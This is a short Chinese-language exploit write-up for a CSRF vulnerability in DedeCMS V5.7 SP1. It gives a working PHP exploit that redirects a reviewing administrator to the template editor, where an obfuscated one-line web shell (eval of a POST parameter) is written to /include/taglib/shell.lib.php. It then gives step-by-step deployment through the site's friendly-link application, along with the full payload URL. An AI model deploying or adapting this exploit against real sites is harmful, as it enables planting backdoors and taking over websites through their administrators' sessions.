先上exp:
<?php //print_r($_SERVER); $referer = $_SERVER['HTTP_REFERER']; $dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径 //拼接 exp $muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>'; $exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php'; $url = $dede_login.$exp; //echo $url; header("location: ".$url); // send mail coder exit(); ?>
从exp大概可以看出,这里利用管理员的权限写了一个shell.lib.php的一句话文件
从exp就可以判断出,这里应该就是一个CSRF漏洞。下面说一下利用方法。
首先,将这个exp部署在你的服务器上,当然你必须要有一个公网ip,假设你的url为:
-
http://www.xxxx.com/exp.php`
在目标网站的申请友情链接处申请一个友情链接,
提交
提交之后等待管理员审核,当管理员审核的时候,一般情况下会点进你的网站看一看
审核的地方在 后台—》模块—》辅助插件—》友情链接
当点这个友情链接的时候,就生成了一句话shell,shell地址在
/include/taglib/shell.lib.php
管理员触发了一个链接:
-
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/uploads/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?@eval($_POST[%27c%27]);?%3E&filename=shell.lib.php
这个链接是利用管理员的权限生成了一句话。